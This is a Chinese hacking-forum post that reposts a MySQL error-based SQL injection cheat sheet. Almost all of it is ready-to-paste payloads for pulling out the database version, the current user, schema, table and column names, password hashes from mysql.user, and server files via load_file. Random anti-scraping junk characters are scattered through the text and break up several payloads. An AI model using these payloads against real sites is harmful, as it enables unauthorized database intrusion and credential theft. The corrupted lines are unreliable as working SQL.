找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, k9 R" J8 t! p% I; G7 j( u- O
- U' T# w$ J3 L# M# H7 _: b4 l0 s: x( z/ @! |* F5 A3 d
Mysql暴错注入参考(pdf),每天一贴。。。1 \2 S5 t+ K# d9 H5 }

8 K$ L1 _8 O" O+ Z% D5 Y: BMySql Error Based Injection Reference
/ m+ G6 N& ^9 O( C[Mysql暴错注入参考]
8 O# V  {3 [: o, qAuthornig0s1992  F5 [3 O5 i1 ~& R/ |  }$ ^
Blog:http://pnig0s1992.blog.51cto.com/
! H" N9 [' U; L& tTeAm:http://www.FreeBuf.com/
+ F6 L  J  b% S, w2 S/ MMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功$ @8 F; h  C2 R0 x; C4 y; e7 s
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
( _5 m4 b! y% l7 V. A查询版本:
# Z5 n) d& D3 E4 {! |( sMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
& y9 x/ w7 J, A* [join+(select+name_const(@@version,0))b)c)6 {2 x6 X; n# s6 ^' y: c
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro8 X- b5 N( n9 f. x
up by a)b); d$ S% t6 u1 I  ?, J; ]) v
查询当前用户:
, p  Y5 K% f/ V- G: |4 C& p8 oMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
6 G) u7 |* z3 v+ \$ j3 P' A. DMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
+ V# e7 R5 l( Z3 Mand(0)*2))x+from+information_schema.tables+group+by+x)a)' O1 j- V* N$ z- i
查询当前数据库:
, X* S% N2 V. W- ]4 B: XMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)8 i/ t; b  ^- ]& ?; p, F- Z
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo7 b' h9 ~, `* |1 d
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
1 H2 N' {: R+ d  p' S依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+6 ]2 M" ~# M5 ~/ J) ~5 w0 W
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n) i1 W3 v4 I; j% ^! u
顺序替换
; _, L9 I) E4 S1 O* d) r( U& y爆指定库数目:6 U+ T! A7 F+ i% Y8 z
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t1 a1 L% T! m( W
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group* K1 e" f+ f7 r; f; F5 ]7 D
+by+x)a)+and+1=1 0x6D7973716C=mysql
* u3 p/ [  U, `$ B& r# w7 N: p4 X依次爆表:
7 n! D8 ~0 M+ g' L3 v+ iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
* R0 S! t" L, O& Q, bable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
( w8 R! g$ E4 G! Q9 Qbles+group+by+x)a)+and+1=1
& f0 _9 a, c% P, N# T' I9 a0x6D7973716C=Mysql 将n顺序替换7 B% _2 ^7 D6 ^4 N* ?
爆表内字段数目:& U9 f6 w6 l& K3 C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
# B$ N% ?( M5 o# U+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
% L  o6 @- @6 U, W( ~; Y, O, Q0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1# A9 M4 N% J9 p
依次爆字段:$ F( Q3 V6 ?& s/ v: j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+ \* b$ c& t' F& H; X+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
6 J' @3 ^% j# i4 sloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换( r/ h6 A1 W  V! F9 u
依次暴内容:
* j& p5 {3 I) x( Y0 J- Yand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
/ Y$ i  t+ e) _0 Zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1( C" J% m) \  {5 \5 f/ V6 _
将n顺序替换
$ \: l8 H5 j: a+ ~/ r爆文件内容:
8 H" z8 E) r& Y  Z) P( uand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a) u' i; k9 |* ^9 o# M5 \. {
from+information_schema.tables+group+by+a)b) " t- W: a% J: r
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节" ^$ R7 i; i  c4 r
Thx for reading.7 K6 p- q! i6 J! X; x! N$ K

  ?$ j; Z+ t# Y( X5 w; |% o不要下载也可以,
/ S3 u4 h4 L# U0 q, B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表